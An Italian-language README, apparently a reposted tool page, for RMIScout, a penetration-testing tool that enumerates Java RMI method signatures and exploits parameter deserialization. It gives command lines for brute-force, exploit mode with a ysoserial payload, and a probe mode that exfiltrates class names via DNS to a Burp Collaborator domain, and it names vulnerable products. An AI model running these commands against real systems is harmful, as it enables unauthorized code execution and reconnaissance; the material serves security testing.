
RMIScout utilizza strategie di wordlist e brute force per enumerare le funzioni RMI di Java e sfruttare le vulnerabilità di unmarshalling dei parametri RMI.
RMIScout consente attacchi con wordlist e brute force contro interfacce Java RMI esposte per indovinare in modo sicuro le firme dei metodi senza invocarli. Supporta molteplici protocolli Java RMI, l'invocazione di metodi e lo sfruttamento.
Per identificare ma non eseguire funzioni RMI, RMIScout utilizza funzioni di rete RMI di basso livello e generazione dinamica di classi per inviare invocazioni RMI con tipi deliberatamente non corrispondenti al fine di attivare eccezioni remote. Tutti i parametri vengono sostituiti con una classe serializzabile generata dinamicamente con un nome di 255 caratteri che si presume non esista nel classpath remoto. Ad esempio:
Interfaccia remota:
void login(String user, String password)
RMIScout invocherà:
login((String) new QQkzkn3..255 caratteri..(), (String) new QQkzkn3..255 caratteri..())
Se la classe è presente, ciò comporterà una `java.rmi.UnmarshalException` causata da `ClassNotFoundException` o da un errore di unmarshalling degli argomenti senza invocare il metodo sottostante.
Per articoli tecnici più dettagliati:
* [(Articolo originale) RMIScout: Brute-force sicuro e rapido delle interfacce Java RMI per l'esecuzione di codice](https://know.bishopfox.com/research/rmiscout)
* [(Aggiornamento RMIScout) Lezioni apprese sul brute-forcing di RMI-IIOP con RMIScout](https://labs.bishopfox.com/tech-blog/lessons-learned-on-brute-forcing-rmi-iiop-with-rmiscout)
### Modalità di funzionamento
#### Modalità wordlist
./rmiscout.sh wordlist -i lists/prototypes.txt
Fornisci una wordlist di prototipi di metodi da verificare sul server remoto. RMIScout restituirà tutte le corrispondenze identificate.
*Per RMI-IIOP/CORBA*: A meno che i metodi non siano sovraccaricati, il brute-forcing e l'invocazione richiedono solo che i nomi corrispondano (tutte le altre informazioni vengono ignorate).
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/3545/b49af096649b16371119eb4d8c730c23e59fe3bfa7a4a4e7703bd56f48d73342.gif" width=800/>
</p>
#### Modalità brute force
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4
Fornisci una wordlist di nomi di metodi candidati, quindi fornisci un elenco delimitato da virgole di tipi di ritorno candidati, intervallo numerico di parametri e tipi di parametri candidati. La modalità brute force genererà le permutazioni e cercherà le firme corrispondenti.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/3545/7d72b55c4f69aaac0cc8fefdf93bdb545090239a664b1c427584a89325b5ed8e.gif" width=800/>
</p>
#### Modalità exploit
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName
Su server mal configurati, qualsiasi firma RMI nota che utilizza tipi non primitivi (ad es., `java.util.List`), può essere sfruttata sostituendo l'oggetto con un payload serializzato. Questa è una configurazione errata piuttosto comune (ad es., VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server e Gemfire, Apache Karaf + Cassandra) come evidenziato nell'intervento di An Trinh al Blackhat EU 2019 (https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf).
RMIScout si integra con [ysoserial](https://github.com/frohoff/ysoserial/) per eseguire attacchi di deserializzazione contro servizi che configurano in modo errato i filtri di serializzazione a livello di processo ([JEP 290](https://openjdk.java.net/jeps/290)).
Esempi di firme sfruttabili:
void exampleMethod(java.util.Map a) // Qualsiasi tipo non primitivo void exampleMethod(float[] a) // Qualsiasi tipo di array, anche primitivi void exampleMethod(String a) // Funziona su JDK più vecchi, vedere sotto...
*Nota:* Le firme contenenti tipi `java.lang.String` sono sfruttabili solo nelle versioni JRE 8/11/13/14 precedenti all'inizio del 2020 in RMI-JRMP, ma sono ancora sfruttabili al momento in RMI-IIOP.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/3545/da3eaefb9f9c43ab2d8fe0df6d3a9a880630b90b14c345b937b118d6b2a5970b.gif" width=800/>
</p>
#### Modalità invoke
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' ./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)'
RMIScout ti permette di invocare qualsiasi firma con primitivi, array primitivi o Stringhe. Tipi più avanzati richiederanno la scrittura di un client personalizzato.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/3545/4d6341cea3be85d8003d108946d90b30c97a4cc75876d5ab770ae09019dc8b96.gif" width=800/>
</p>
#### Modalità probe
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName
RMIScout si integra con [GadgetProbe](https://github.com/bishopfox/gadgetprobe) per identificare le classi nel classpath remoto. I nomi delle classi vengono esfiltrati tramite DNS.
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/3545/9e70ef4e3e4f5c3da27ecfd6d6a11e825a25af345f89079db6f64a854e673a66.gif" width=800/>
</p>
### Compilazione ed esecuzione
Utilizza lo script `rmiscout.sh` incluso per compilare automaticamente il progetto e come comodo wrapper per la sintassi `java -jar`:
```bash
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>
In alternativa, compila il progetto manualmente e utilizza la sintassi tradizionale java -jar:
# Compila manualmente il JAR
./gradlew shadowJar
java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>
Nota: RMI-IIOP (compilazione/runtime) e ysoserial (runtime) dipendono da JDK8.